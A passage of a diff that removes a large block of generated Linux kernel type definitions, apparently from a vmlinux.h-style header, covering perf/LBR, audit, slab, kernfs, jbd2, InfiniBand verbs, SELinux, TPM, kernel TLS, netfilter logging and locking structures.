unsigned int large_pebs_flags; - u64 rtm_abort_event; - u64 pebs_capable; - unsigned int lbr_tos; - unsigned int lbr_from; - unsigned int lbr_to; - unsigned int lbr_info; - unsigned int lbr_nr; - union { - u64 lbr_sel_mask; - u64 lbr_ctl_mask; - }; - union { - const int *lbr_sel_map; - int *lbr_ctl_map; - }; - bool lbr_double_abort; - bool lbr_pt_coexist; - unsigned int lbr_has_info: 1; - unsigned int lbr_has_tsx: 1; - unsigned int lbr_from_flags: 1; - unsigned int lbr_to_cycles: 1; - unsigned int lbr_depth_mask: 8; - unsigned int lbr_deep_c_reset: 1; - unsigned int lbr_lip: 1; - unsigned int lbr_cpl: 1; - unsigned int lbr_filter: 1; - unsigned int lbr_call_stack: 1; - unsigned int lbr_mispred: 1; - unsigned int lbr_timed_lbr: 1; - unsigned int lbr_br_type: 1; - void (*lbr_reset)(); - void (*lbr_read)(struct cpu_hw_events *); - void (*lbr_save)(void *); - void (*lbr_restore)(void *); - atomic_t lbr_exclusive[3]; - int num_topdown_events; - void (*swap_task_ctx)(struct perf_event_context *, struct perf_event_context *); - unsigned int amd_nb_constraints: 1; - u64 perf_ctr_pair_en; - struct extra_reg *extra_regs; - unsigned int flags; - struct perf_guest_switch_msr * (*guest_get_msrs)(int *, void *); - int (*check_period)(struct perf_event *, u64); - int (*aux_output_match)(struct perf_event *); - int (*filter_match)(struct perf_event *); - int num_hybrid_pmus; - struct x86_hybrid_pmu *hybrid_pmu; - u8 (*get_hybrid_cpu_type)(); -}; - -struct sched_state { - int weight; - int event; - int counter; - int unassigned; - int nr_gp; - u64 used; -}; - -struct perf_sched { - int max_weight; - int max_events; - int max_gp; - int saved_states; - struct event_constraint **constraints; - struct sched_state state; - struct sched_state saved[2]; -}; - -enum audit_nlgrps { - AUDIT_NLGRP_NONE = 0, - AUDIT_NLGRP_READLOG = 1, - __AUDIT_NLGRP_MAX = 2, -}; - -struct audit_status { - __u32 mask; - __u32 enabled; - __u32 failure; - __u32 pid; - __u32 rate_limit; - __u32 backlog_limit; - __u32 lost; - __u32 backlog; - union { - __u32 version; - __u32 feature_bitmap; - }; - __u32 backlog_wait_time; - __u32 backlog_wait_time_actual; -}; - -struct audit_features { - __u32 vers; - __u32 mask; - __u32 features; - __u32 lock; -}; - -struct audit_tty_status { - __u32 enabled; - __u32 log_passwd; -}; - -struct audit_sig_info { - uid_t uid; - pid_t pid; - char ctx[0]; -}; - -struct audit_net { - struct sock *sk; -}; - -struct auditd_connection { - struct pid *pid; - u32 portid; - struct net *net; - struct callback_head rcu; -}; - -struct audit_ctl_mutex { - struct mutex lock; - void *owner; -}; - -struct audit_buffer { - struct sk_buff *skb; - struct audit_context *ctx; - gfp_t gfp_mask; -}; - -struct audit_reply { - __u32 portid; - struct net *net; - struct sk_buff *skb; -}; - -typedef long long unsigned int cycles_t; - -enum stat_item { - ALLOC_FASTPATH = 0, - ALLOC_SLOWPATH = 1, - FREE_FASTPATH = 2, - FREE_SLOWPATH = 3, - FREE_FROZEN = 4, - FREE_ADD_PARTIAL = 5, - FREE_REMOVE_PARTIAL = 6, - ALLOC_FROM_PARTIAL = 7, - ALLOC_SLAB = 8, - ALLOC_REFILL = 9, - ALLOC_NODE_MISMATCH = 10, - FREE_SLAB = 11, - CPUSLAB_FLUSH = 12, - DEACTIVATE_FULL = 13, - DEACTIVATE_EMPTY = 14, - DEACTIVATE_TO_HEAD = 15, - DEACTIVATE_TO_TAIL = 16, - DEACTIVATE_REMOTE_FREES = 17, - DEACTIVATE_BYPASS = 18, - ORDER_FALLBACK = 19, - CMPXCHG_DOUBLE_CPU_FAIL = 20, - CMPXCHG_DOUBLE_FAIL = 21, - CPU_PARTIAL_ALLOC = 22, - CPU_PARTIAL_FREE = 23, - CPU_PARTIAL_NODE = 24, - CPU_PARTIAL_DRAIN = 25, - NR_SLUB_STAT_ITEMS = 26, -}; - -enum slab_state { - DOWN = 0, - PARTIAL = 1, - PARTIAL_NODE = 2, - UP = 3, - FULL = 4, -}; - -struct slabinfo { - long unsigned int active_objs; - long unsigned int num_objs; - long unsigned int active_slabs; - long unsigned int num_slabs; - long unsigned int shared_avail; - unsigned int limit; - unsigned int batchcount; - unsigned int shared; - unsigned int objects_per_slab; - unsigned int cache_order; -}; - -struct kmem_obj_info { - void *kp_ptr; - struct slab *kp_slab; - void *kp_objp; - long unsigned int kp_data_offset; - struct kmem_cache *kp_slab_cache; - void *kp_ret; - void *kp_stack[16]; - void *kp_free_stack[16]; -}; - -struct partial_context { - struct slab **slab; - gfp_t flags; - unsigned int orig_size; -}; - -struct track { - long unsigned int addr; - depot_stack_handle_t handle; - int cpu; - int pid; - long unsigned int when; -}; - -enum track_item { - TRACK_ALLOC = 0, - TRACK_FREE = 1, -}; - -struct slub_flush_work { - struct work_struct work; - struct kmem_cache *s; - bool skip; -}; - -struct detached_freelist { - struct slab *slab; - void *tail; - void *freelist; - int cnt; - struct kmem_cache *s; -}; - -struct location { - depot_stack_handle_t handle; - long unsigned int count; - long unsigned int addr; - long unsigned int waste; - long long int sum_time; - long int min_time; - long int max_time; - long int min_pid; - long int max_pid; - long unsigned int cpus[2]; - nodemask_t nodes; -}; - -struct loc_track { - long unsigned int max; - long unsigned int count; - struct location *loc; - loff_t idx; -}; - -enum slab_stat_type { - SL_ALL = 0, - SL_PARTIAL = 1, - SL_CPU = 2, - SL_OBJECTS = 3, - SL_TOTAL = 4, -}; - -struct slab_attribute { - struct attribute attr; - ssize_t (*show)(struct kmem_cache *, char *); - ssize_t (*store)(struct kmem_cache *, const char *, size_t); -}; - -struct saved_alias { - struct kmem_cache *s; - const char *name; - struct saved_alias *next; -}; - -enum slab_modes { - M_NONE = 0, - M_PARTIAL = 1, - M_FULL = 2, - M_FREE = 3, - M_FULL_NOLIST = 4, -}; - -enum kernfs_node_flag { - KERNFS_ACTIVATED = 16, - KERNFS_NS = 32, - KERNFS_HAS_SEQ_SHOW = 64, - KERNFS_HAS_MMAP = 128, - KERNFS_LOCKDEP = 256, - KERNFS_HIDDEN = 512, - KERNFS_SUICIDAL = 1024, - KERNFS_SUICIDED = 2048, - KERNFS_EMPTY_DIR = 4096, - KERNFS_HAS_RELEASE = 8192, - KERNFS_REMOVING = 16384, -}; - -struct kernfs_root { - struct kernfs_node *kn; - unsigned int flags; - struct idr ino_idr; - u32 last_id_lowbits; - u32 id_highbits; - struct kernfs_syscall_ops *syscall_ops; - struct list_head supers; - wait_queue_head_t deactivate_waitq; - struct rw_semaphore kernfs_rwsem; -}; - -struct kernfs_iattrs { - kuid_t ia_uid; - kgid_t ia_gid; - struct timespec64 ia_atime; - struct timespec64 ia_mtime; - struct timespec64 ia_ctime; - struct simple_xattrs xattrs; - atomic_t nr_user_xattrs; - atomic_t user_xattr_size; -}; - -struct commit_header { - __be32 h_magic; - __be32 h_blocktype; - __be32 h_sequence; - unsigned char h_chksum_type; - unsigned char h_chksum_size; - unsigned char h_padding[2]; - __be32 h_chksum[8]; - __be64 h_commit_sec; - __be32 h_commit_nsec; -}; - -struct journal_block_tag3_s { - __be32 t_blocknr; - __be32 t_flags; - __be32 t_blocknr_high; - __be32 t_checksum; -}; - -typedef struct journal_block_tag3_s journal_block_tag3_t; - -struct journal_block_tag_s { - __be32 t_blocknr; - __be16 t_checksum; - __be16 t_flags; - __be32 t_blocknr_high; -}; - -typedef struct journal_block_tag_s journal_block_tag_t; - -struct jbd2_journal_block_tail { - __be32 t_checksum; -}; - -struct jbd2_journal_revoke_header_s { - journal_header_t r_header; - __be32 r_count; -}; - -typedef struct jbd2_journal_revoke_header_s jbd2_journal_revoke_header_t; - -struct recovery_info { - tid_t start_transaction; - tid_t end_transaction; - int nr_replays; - int nr_revokes; - int nr_revoke_hits; -}; - -enum ib_uverbs_write_cmds { - IB_USER_VERBS_CMD_GET_CONTEXT = 0, - IB_USER_VERBS_CMD_QUERY_DEVICE = 1, - IB_USER_VERBS_CMD_QUERY_PORT = 2, - IB_USER_VERBS_CMD_ALLOC_PD = 3, - IB_USER_VERBS_CMD_DEALLOC_PD = 4, - IB_USER_VERBS_CMD_CREATE_AH = 5, - IB_USER_VERBS_CMD_MODIFY_AH = 6, - IB_USER_VERBS_CMD_QUERY_AH = 7, - IB_USER_VERBS_CMD_DESTROY_AH = 8, - IB_USER_VERBS_CMD_REG_MR = 9, - IB_USER_VERBS_CMD_REG_SMR = 10, - IB_USER_VERBS_CMD_REREG_MR = 11, - IB_USER_VERBS_CMD_QUERY_MR = 12, - IB_USER_VERBS_CMD_DEREG_MR = 13, - IB_USER_VERBS_CMD_ALLOC_MW = 14, - IB_USER_VERBS_CMD_BIND_MW = 15, - IB_USER_VERBS_CMD_DEALLOC_MW = 16, - IB_USER_VERBS_CMD_CREATE_COMP_CHANNEL = 17, - IB_USER_VERBS_CMD_CREATE_CQ = 18, - IB_USER_VERBS_CMD_RESIZE_CQ = 19, - IB_USER_VERBS_CMD_DESTROY_CQ = 20, - IB_USER_VERBS_CMD_POLL_CQ = 21, - IB_USER_VERBS_CMD_PEEK_CQ = 22, - IB_USER_VERBS_CMD_REQ_NOTIFY_CQ = 23, - IB_USER_VERBS_CMD_CREATE_QP = 24, - IB_USER_VERBS_CMD_QUERY_QP = 25, - IB_USER_VERBS_CMD_MODIFY_QP = 26, - IB_USER_VERBS_CMD_DESTROY_QP = 27, - IB_USER_VERBS_CMD_POST_SEND = 28, - IB_USER_VERBS_CMD_POST_RECV = 29, - IB_USER_VERBS_CMD_ATTACH_MCAST = 30, - IB_USER_VERBS_CMD_DETACH_MCAST = 31, - IB_USER_VERBS_CMD_CREATE_SRQ = 32, - IB_USER_VERBS_CMD_MODIFY_SRQ = 33, - IB_USER_VERBS_CMD_QUERY_SRQ = 34, - IB_USER_VERBS_CMD_DESTROY_SRQ = 35, - IB_USER_VERBS_CMD_POST_SRQ_RECV = 36, - IB_USER_VERBS_CMD_OPEN_XRCD = 37, - IB_USER_VERBS_CMD_CLOSE_XRCD = 38, - IB_USER_VERBS_CMD_CREATE_XSRQ = 39, - IB_USER_VERBS_CMD_OPEN_QP = 40, -}; - -enum ib_uverbs_wc_opcode { - IB_UVERBS_WC_SEND = 0, - IB_UVERBS_WC_RDMA_WRITE = 1, - IB_UVERBS_WC_RDMA_READ = 2, - IB_UVERBS_WC_COMP_SWAP = 3, - IB_UVERBS_WC_FETCH_ADD = 4, - IB_UVERBS_WC_BIND_MW = 5, - IB_UVERBS_WC_LOCAL_INV = 6, - IB_UVERBS_WC_TSO = 7, -}; - -enum ib_uverbs_create_qp_mask { - IB_UVERBS_CREATE_QP_MASK_IND_TABLE = 1, -}; - -enum ib_uverbs_wr_opcode { - IB_UVERBS_WR_RDMA_WRITE = 0, - IB_UVERBS_WR_RDMA_WRITE_WITH_IMM = 1, - IB_UVERBS_WR_SEND = 2, - IB_UVERBS_WR_SEND_WITH_IMM = 3, - IB_UVERBS_WR_RDMA_READ = 4, - IB_UVERBS_WR_ATOMIC_CMP_AND_SWP = 5, - IB_UVERBS_WR_ATOMIC_FETCH_AND_ADD = 6, - IB_UVERBS_WR_LOCAL_INV = 7, - IB_UVERBS_WR_BIND_MW = 8, - IB_UVERBS_WR_SEND_WITH_INV = 9, - IB_UVERBS_WR_TSO = 10, - IB_UVERBS_WR_RDMA_READ_WITH_INV = 11, - IB_UVERBS_WR_MASKED_ATOMIC_CMP_AND_SWP = 12, - IB_UVERBS_WR_MASKED_ATOMIC_FETCH_AND_ADD = 13, -}; - -enum ib_uverbs_device_cap_flags { - IB_UVERBS_DEVICE_RESIZE_MAX_WR = 1ULL, - IB_UVERBS_DEVICE_BAD_PKEY_CNTR = 2ULL, - IB_UVERBS_DEVICE_BAD_QKEY_CNTR = 4ULL, - IB_UVERBS_DEVICE_RAW_MULTI = 8ULL, - IB_UVERBS_DEVICE_AUTO_PATH_MIG = 16ULL, - IB_UVERBS_DEVICE_CHANGE_PHY_PORT = 32ULL, - IB_UVERBS_DEVICE_UD_AV_PORT_ENFORCE = 64ULL, - IB_UVERBS_DEVICE_CURR_QP_STATE_MOD = 128ULL, - IB_UVERBS_DEVICE_SHUTDOWN_PORT = 256ULL, - IB_UVERBS_DEVICE_PORT_ACTIVE_EVENT = 1024ULL, - IB_UVERBS_DEVICE_SYS_IMAGE_GUID = 2048ULL, - IB_UVERBS_DEVICE_RC_RNR_NAK_GEN = 4096ULL, - IB_UVERBS_DEVICE_SRQ_RESIZE = 8192ULL, - IB_UVERBS_DEVICE_N_NOTIFY_CQ = 16384ULL, - IB_UVERBS_DEVICE_MEM_WINDOW = 131072ULL, - IB_UVERBS_DEVICE_UD_IP_CSUM = 262144ULL, - IB_UVERBS_DEVICE_XRC = 1048576ULL, - IB_UVERBS_DEVICE_MEM_MGT_EXTENSIONS = 2097152ULL, - IB_UVERBS_DEVICE_MEM_WINDOW_TYPE_2A = 8388608ULL, - IB_UVERBS_DEVICE_MEM_WINDOW_TYPE_2B = 16777216ULL, - IB_UVERBS_DEVICE_RC_IP_CSUM = 33554432ULL, - IB_UVERBS_DEVICE_RAW_IP_CSUM = 67108864ULL, - IB_UVERBS_DEVICE_MANAGED_FLOW_STEERING = 536870912ULL, - IB_UVERBS_DEVICE_RAW_SCATTER_FCS = 17179869184ULL, - IB_UVERBS_DEVICE_PCI_WRITE_END_PADDING = 68719476736ULL, -}; - -enum ib_uverbs_raw_packet_caps { - IB_UVERBS_RAW_PACKET_CAP_CVLAN_STRIPPING = 1, - IB_UVERBS_RAW_PACKET_CAP_SCATTER_FCS = 2, - IB_UVERBS_RAW_PACKET_CAP_IP_CSUM = 4, - IB_UVERBS_RAW_PACKET_CAP_DELAY_DROP = 8, -}; - -enum ib_uverbs_access_flags { - IB_UVERBS_ACCESS_LOCAL_WRITE = 1, - IB_UVERBS_ACCESS_REMOTE_WRITE = 2, - IB_UVERBS_ACCESS_REMOTE_READ = 4, - IB_UVERBS_ACCESS_REMOTE_ATOMIC = 8, - IB_UVERBS_ACCESS_MW_BIND = 16, - IB_UVERBS_ACCESS_ZERO_BASED = 32, - IB_UVERBS_ACCESS_ON_DEMAND = 64, - IB_UVERBS_ACCESS_HUGETLB = 128, - IB_UVERBS_ACCESS_RELAXED_ORDERING = 1048576, - IB_UVERBS_ACCESS_OPTIONAL_RANGE = 1072693248, -}; - -enum ib_uverbs_srq_type { - IB_UVERBS_SRQT_BASIC = 0, - IB_UVERBS_SRQT_XRC = 1, - IB_UVERBS_SRQT_TM = 2, -}; - -enum ib_uverbs_wq_type { - IB_UVERBS_WQT_RQ = 0, -}; - -enum ib_uverbs_wq_flags { - IB_UVERBS_WQ_FLAGS_CVLAN_STRIPPING = 1, - IB_UVERBS_WQ_FLAGS_SCATTER_FCS = 2, - IB_UVERBS_WQ_FLAGS_DELAY_DROP = 4, - IB_UVERBS_WQ_FLAGS_PCI_WRITE_END_PADDING = 8, -}; - -enum ib_uverbs_qp_type { - IB_UVERBS_QPT_RC = 2, - IB_UVERBS_QPT_UC = 3, - IB_UVERBS_QPT_UD = 4, - IB_UVERBS_QPT_RAW_PACKET = 8, - IB_UVERBS_QPT_XRC_INI = 9, - IB_UVERBS_QPT_XRC_TGT = 10, - IB_UVERBS_QPT_DRIVER = 255, -}; - -enum ib_uverbs_qp_create_flags { - IB_UVERBS_QP_CREATE_BLOCK_MULTICAST_LOOPBACK = 2, - IB_UVERBS_QP_CREATE_SCATTER_FCS = 256, - IB_UVERBS_QP_CREATE_CVLAN_STRIPPING = 512, - IB_UVERBS_QP_CREATE_PCI_WRITE_END_PADDING = 2048, - IB_UVERBS_QP_CREATE_SQ_SIG_ALL = 4096, -}; - -enum ib_uverbs_gid_type { - IB_UVERBS_GID_TYPE_IB = 0, - IB_UVERBS_GID_TYPE_ROCE_V1 = 1, - IB_UVERBS_GID_TYPE_ROCE_V2 = 2, -}; - -enum ib_poll_context { - IB_POLL_SOFTIRQ = 0, - IB_POLL_WORKQUEUE = 1, - IB_POLL_UNBOUND_WORKQUEUE = 2, - IB_POLL_LAST_POOL_TYPE = 2, - IB_POLL_DIRECT = 3, -}; - -struct selinux_avc; - -struct selinux_policy; - -struct selinux_state { - bool enforcing; - bool checkreqprot; - bool initialized; - bool policycap[8]; - struct page *status_page; - struct mutex status_lock; - struct selinux_avc *avc; - struct selinux_policy *policy; - struct mutex policy_mutex; -}; - -struct netport_security_struct { - u32 sid; - u16 port; - u8 protocol; -}; - -struct sel_netport_bkt { - int size; - struct list_head list; -}; - -struct sel_netport { - struct netport_security_struct psec; - struct list_head list; - struct callback_head rcu; -}; - -struct io_splice { - struct file *file_out; - loff_t off_out; - loff_t off_in; - u64 len; - int splice_fd_in; - unsigned int flags; -}; - -struct nla_bitfield32 { - __u32 value; - __u32 selector; -}; - -enum tis_defaults { - TIS_MEM_LEN = 20480, - TIS_SHORT_TIMEOUT = 750, - TIS_LONG_TIMEOUT = 2000, - TIS_TIMEOUT_MIN_ATML = 14700, - TIS_TIMEOUT_MAX_ATML = 15000, -}; - -enum tpm_tis_flags { - TPM_TIS_ITPM_WORKAROUND = 1, - TPM_TIS_INVALID_STATUS = 2, -}; - -struct tpm_tis_phy_ops; - -struct tpm_tis_data { - u16 manufacturer_id; - int locality; - int irq; - bool irq_tested; - long unsigned int flags; - void *ilb_base_addr; - u16 clkrun_enabled; - wait_queue_head_t int_queue; - wait_queue_head_t read_queue; - const struct tpm_tis_phy_ops *phy_ops; - short unsigned int rng_quality; - unsigned int timeout_min; - unsigned int timeout_max; -}; - -enum tpm_tis_io_mode { - TPM_TIS_PHYS_8 = 0, - TPM_TIS_PHYS_16 = 1, - TPM_TIS_PHYS_32 = 2, -}; - -struct tpm_tis_phy_ops { - int (*read_bytes)(struct tpm_tis_data *, u32, u16, u8 *, enum tpm_tis_io_mode); - int (*write_bytes)(struct tpm_tis_data *, u32, u16, const u8 *, enum tpm_tis_io_mode); - int (*verify_crc)(struct tpm_tis_data *, size_t, const u8 *); -}; - -struct tpm_info { - struct resource res; - int irq; -}; - -struct tpm_tis_tcg_phy { - struct tpm_tis_data priv; - void *iobase; -}; - -enum ethtool_fec_config_bits { - ETHTOOL_FEC_NONE_BIT = 0, - ETHTOOL_FEC_AUTO_BIT = 1, - ETHTOOL_FEC_OFF_BIT = 2, - ETHTOOL_FEC_RS_BIT = 3, - ETHTOOL_FEC_BASER_BIT = 4, - ETHTOOL_FEC_LLRS_BIT = 5, -}; - -enum { - BPF_F_INGRESS = 1, -}; - -struct strp_msg { - int full_len; - int offset; -}; - -enum __sk_action { - __SK_DROP = 0, - __SK_PASS = 1, - __SK_REDIRECT = 2, - __SK_NONE = 3, -}; - -enum sk_psock_state_bits { - SK_PSOCK_TX_ENABLED = 0, -}; - -struct sk_psock_link { - struct list_head list; - struct bpf_map *map; - void *link_raw; -}; - -struct tls_crypto_info { - __u16 version; - __u16 cipher_type; -}; - -struct tls12_crypto_info_aes_gcm_128 { - struct tls_crypto_info info; - unsigned char iv[8]; - unsigned char key[16]; - unsigned char salt[4]; - unsigned char rec_seq[8]; -}; - -struct tls12_crypto_info_aes_gcm_256 { - struct tls_crypto_info info; - unsigned char iv[8]; - unsigned char key[32]; - unsigned char salt[4]; - unsigned char rec_seq[8]; -}; - -struct tls12_crypto_info_chacha20_poly1305 { - struct tls_crypto_info info; - unsigned char iv[12]; - unsigned char key[32]; - unsigned char salt[0]; - unsigned char rec_seq[8]; -}; - -struct tls12_crypto_info_sm4_gcm { - struct tls_crypto_info info; - unsigned char iv[8]; - unsigned char key[16]; - unsigned char salt[4]; - unsigned char rec_seq[8]; -}; - -struct tls12_crypto_info_sm4_ccm { - struct tls_crypto_info info; - unsigned char iv[8]; - unsigned char key[16]; - unsigned char salt[4]; - unsigned char rec_seq[8]; -}; - -struct tls_strparser { - struct sock *sk; - u32 mark: 8; - u32 stopped: 1; - u32 copy_mode: 1; - u32 msg_ready: 1; - struct strp_msg stm; - struct sk_buff *anchor; - struct work_struct work; -}; - -struct tls_sw_context_rx { - struct crypto_aead *aead_recv; - struct crypto_wait async_wait; - struct sk_buff_head rx_list; - void (*saved_data_ready)(struct sock *); - u8 reader_present; - u8 async_capable: 1; - u8 zc_capable: 1; - u8 reader_contended: 1; - struct tls_strparser strp; - atomic_t decrypt_pending; - spinlock_t decrypt_compl_lock; - struct sk_buff_head async_hold; - struct wait_queue_head wq; -}; - -struct tls_prot_info { - u16 version; - u16 cipher_type; - u16 prepend_size; - u16 tag_size; - u16 overhead_size; - u16 iv_size; - u16 salt_size; - u16 rec_seq_size; - u16 aad_size; - u16 tail_size; -}; - -struct cipher_context { - char *iv; - char *rec_seq; -}; - -union tls_crypto_context { - struct tls_crypto_info info; - union { - struct tls12_crypto_info_aes_gcm_128 aes_gcm_128; - struct tls12_crypto_info_aes_gcm_256 aes_gcm_256; - struct tls12_crypto_info_chacha20_poly1305 chacha20_poly1305; - struct tls12_crypto_info_sm4_gcm sm4_gcm; - struct tls12_crypto_info_sm4_ccm sm4_ccm; - }; -}; - -struct tls_context { - struct tls_prot_info prot_info; - u8 tx_conf: 3; - u8 rx_conf: 3; - u8 zerocopy_sendfile: 1; - u8 rx_no_pad: 1; - int (*push_pending_record)(struct sock *, int); - void (*sk_write_space)(struct sock *); - void *priv_ctx_tx; - void *priv_ctx_rx; - struct net_device *netdev; - struct cipher_context tx; - struct cipher_context rx; - struct scatterlist *partially_sent_record; - u16 partially_sent_offset; - bool in_tcp_sendpages; - bool pending_open_record_frags; - struct mutex tx_lock; - long unsigned int flags; - struct proto *sk_proto; - struct sock *sk; - void (*sk_destruct)(struct sock *); - union tls_crypto_context crypto_send; - union tls_crypto_context crypto_recv; - struct list_head list; - refcount_t refcount; - struct callback_head rcu; -}; - -struct netlink_notify { - struct net *net; - u32 portid; - int protocol; -}; - -struct nfnl_ct_hook { - size_t (*build_size)(const struct nf_conn *); - int (*build)(struct sk_buff *, struct nf_conn *, enum ip_conntrack_info, u_int16_t, u_int16_t); - int (*parse)(const struct nlattr *, struct nf_conn *); - int (*attach_expect)(const struct nlattr *, struct nf_conn *, u32, u32); - void (*seq_adjust)(struct sk_buff *, struct nf_conn *, enum ip_conntrack_info, s32); -}; - -enum l2tp_debug_flags { - L2TP_MSG_DEBUG = 1, - L2TP_MSG_CONTROL = 2, - L2TP_MSG_SEQ = 4, - L2TP_MSG_DATA = 8, -}; - -enum nfulnl_msg_types { - NFULNL_MSG_PACKET = 0, - NFULNL_MSG_CONFIG = 1, - NFULNL_MSG_MAX = 2, -}; - -struct nfulnl_msg_packet_hdr { - __be16 hw_protocol; - __u8 hook; - __u8 _pad; -}; - -struct nfulnl_msg_packet_hw { - __be16 hw_addrlen; - __u16 _pad; - __u8 hw_addr[8]; -}; - -struct nfulnl_msg_packet_timestamp { - __be64 sec; - __be64 usec; -}; - -enum nfulnl_vlan_attr { - NFULA_VLAN_UNSPEC = 0, - NFULA_VLAN_PROTO = 1, - NFULA_VLAN_TCI = 2, - __NFULA_VLAN_MAX = 3, -}; - -enum nfulnl_attr_type { - NFULA_UNSPEC = 0, - NFULA_PACKET_HDR = 1, - NFULA_MARK = 2, - NFULA_TIMESTAMP = 3, - NFULA_IFINDEX_INDEV = 4, - NFULA_IFINDEX_OUTDEV = 5, - NFULA_IFINDEX_PHYSINDEV = 6, - NFULA_IFINDEX_PHYSOUTDEV = 7, - NFULA_HWADDR = 8, - NFULA_PAYLOAD = 9, - NFULA_PREFIX = 10, - NFULA_UID = 11, - NFULA_SEQ = 12, - NFULA_SEQ_GLOBAL = 13, - NFULA_GID = 14, - NFULA_HWTYPE = 15, - NFULA_HWHEADER = 16, - NFULA_HWLEN = 17, - NFULA_CT = 18, - NFULA_CT_INFO = 19, - NFULA_VLAN = 20, - NFULA_L2HDR = 21, - __NFULA_MAX = 22, -}; - -enum nfulnl_msg_config_cmds { - NFULNL_CFG_CMD_NONE = 0, - NFULNL_CFG_CMD_BIND = 1, - NFULNL_CFG_CMD_UNBIND = 2, - NFULNL_CFG_CMD_PF_BIND = 3, - NFULNL_CFG_CMD_PF_UNBIND = 4, -}; - -struct nfulnl_msg_config_cmd { - __u8 command; -}; - -struct nfulnl_msg_config_mode { - __be32 copy_range; - __u8 copy_mode; - __u8 _pad; -} __attribute__((packed)); - -enum nfulnl_attr_config { - NFULA_CFG_UNSPEC = 0, - NFULA_CFG_CMD = 1, - NFULA_CFG_MODE = 2, - NFULA_CFG_NLBUFSIZ = 3, - NFULA_CFG_TIMEOUT = 4, - NFULA_CFG_QTHRESH = 5, - NFULA_CFG_FLAGS = 6, - __NFULA_CFG_MAX = 7, -}; - -struct nfulnl_instance { - struct hlist_node hlist; - spinlock_t lock; - refcount_t use; - unsigned int qlen; - struct sk_buff *skb; - struct timer_list timer; - struct net *net; - netns_tracker ns_tracker; - struct user_namespace *peer_user_ns; - u32 peer_portid; - unsigned int flushtimeout; - unsigned int nlbufsiz; - unsigned int qthreshold; - u_int32_t copy_range; - u_int32_t seq; - u_int16_t group_num; - u_int16_t flags; - u_int8_t copy_mode; - struct callback_head rcu; -}; - -struct nfnl_log_net { - spinlock_t instances_lock; - struct hlist_head instance_table[16]; - atomic_t global_seq; -}; - -struct iter_state { - struct seq_net_private p; - unsigned int bucket; -}; - -struct tcpvegas_info { - __u32 tcpv_enabled; - __u32 tcpv_rttcnt; - __u32 tcpv_rtt; - __u32 tcpv_minrtt; -}; - -struct tcp_dctcp_info { - __u16 dctcp_enabled; - __u16 dctcp_ce_state; - __u32 dctcp_alpha; - __u32 dctcp_ab_ecn; - __u32 dctcp_ab_tot; -}; - -struct tcp_bbr_info { - __u32 bbr_bw_lo; - __u32 bbr_bw_hi; - __u32 bbr_min_rtt; - __u32 bbr_pacing_gain; - __u32 bbr_cwnd_gain; -}; - -union tcp_cc_info { - struct tcpvegas_info vegas; - struct tcp_dctcp_info dctcp; - struct tcp_bbr_info bbr; -}; - -enum { - INET_ULP_INFO_UNSPEC = 0, - INET_ULP_INFO_NAME = 1, - INET_ULP_INFO_TLS = 2, - INET_ULP_INFO_MPTCP = 3, - __INET_ULP_INFO_MAX = 4, -}; - -struct tls12_crypto_info_aes_ccm_128 { - struct tls_crypto_info info; - unsigned char iv[8]; - unsigned char key[16]; - unsigned char salt[4]; - unsigned char rec_seq[8]; -}; - -struct tls12_crypto_info_aria_gcm_128 { - struct tls_crypto_info info; - unsigned char iv[8]; - unsigned char key[16]; - unsigned char salt[4]; - unsigned char rec_seq[8]; -}; - -struct tls12_crypto_info_aria_gcm_256 { - struct tls_crypto_info info; - unsigned char iv[8]; - unsigned char key[32]; - unsigned char salt[4]; - unsigned char rec_seq[8]; -}; - -enum { - TLS_INFO_UNSPEC = 0, - TLS_INFO_VERSION = 1, - TLS_INFO_CIPHER = 2, - TLS_INFO_TXCONF = 3, - TLS_INFO_RXCONF = 4, - TLS_INFO_ZC_RO_TX = 5, - TLS_INFO_RX_NO_PAD = 6, - __TLS_INFO_MAX = 7, -}; - -struct tls_cipher_size_desc { - unsigned int iv; - unsigned int key; - unsigned int salt; - unsigned int tag; - unsigned int rec_seq; -}; - -enum { - TLS_BASE = 0, - TLS_SW = 1, - TLS_HW = 2, - TLS_HW_RECORD = 3, - TLS_NUM_CONFIG = 4, -}; - -enum { - TLSV4 = 0, - TLSV6 = 1, - TLS_NUM_PROTS = 2, -}; - -struct virtio_9p_config { - __virtio16 tag_len; - __u8 tag[0]; -}; - -struct virtio_chan { - bool inuse; - spinlock_t lock; - struct p9_client *client; - struct virtio_device *vdev; - struct virtqueue *vq; - int ring_bufs_avail; - wait_queue_head_t *vc_wq; - long unsigned int p9_max_pages; - struct scatterlist sg[128]; - char *tag; - struct list_head chan_list; -}; - -struct perf_msr { - u64 msr; - struct attribute_group *grp; - bool (*test)(int, void *); - bool no_check; - u64 mask; -}; - -enum cpuid_leafs { - CPUID_1_EDX = 0, - CPUID_8000_0001_EDX = 1, - CPUID_8086_0001_EDX = 2, - CPUID_LNX_1 = 3, - CPUID_1_ECX = 4, - CPUID_C000_0001_EDX = 5, - CPUID_8000_0001_ECX = 6, - CPUID_LNX_2 = 7, - CPUID_LNX_3 = 8, - CPUID_7_0_EBX = 9, - CPUID_D_1_EAX = 10, - CPUID_LNX_4 = 11, - CPUID_7_1_EAX = 12, - CPUID_8000_0008_EBX = 13, - CPUID_6_EAX = 14, - CPUID_8000_000A_EDX = 15, - CPUID_7_ECX = 16, - CPUID_8000_0007_EBX = 17, - CPUID_7_EDX = 18, - CPUID_8000_001F_EAX = 19, -}; - -struct cpu_dev { - const char *c_vendor; - const char *c_ident[2]; - void (*c_early_init)(struct cpuinfo_x86 *); - void (*c_bsp_init)(struct cpuinfo_x86 *); - void (*c_init)(struct cpuinfo_x86 *); - void (*c_identify)(struct cpuinfo_x86 *); - void (*c_detect_tlb)(struct cpuinfo_x86 *); - int c_x86_vendor; -}; - -struct cpuid_regs { - u32 eax; - u32 ebx; - u32 ecx; - u32 edx; -}; - -struct cpuid_regs_done { - struct cpuid_regs regs; - struct completion done; -}; - -struct ww_class { - atomic_long_t stamp; - struct lock_class_key acquire_key; - struct lock_class_key mutex_key; - const char *acquire_name; - const char *mutex_name; - unsigned int is_wait_die; -}; - -struct ww_acquire_ctx; - -struct ww_mutex { - struct mutex base; - struct ww_acquire_ctx *ctx; - struct ww_class *ww_class; -}; - -struct ww_acquire_ctx { - struct task_struct *task; - long unsigned int stamp; - unsigned int acquired; - short unsigned int wounded; - short unsigned int is_wait_die; - unsigned int done_acquire; - struct ww_class *ww_class; - void *contending_lock; - struct lockdep_map dep_map; - unsigned int deadlock_inject_interval; - unsigned int deadlock_inject_countdown; -}; - -struct mutex_waiter { - struct list_head list; - struct task_struct *task; - struct ww_acquire_ctx *ww_ctx; - void *magic; -}; - -struct wake_q_head 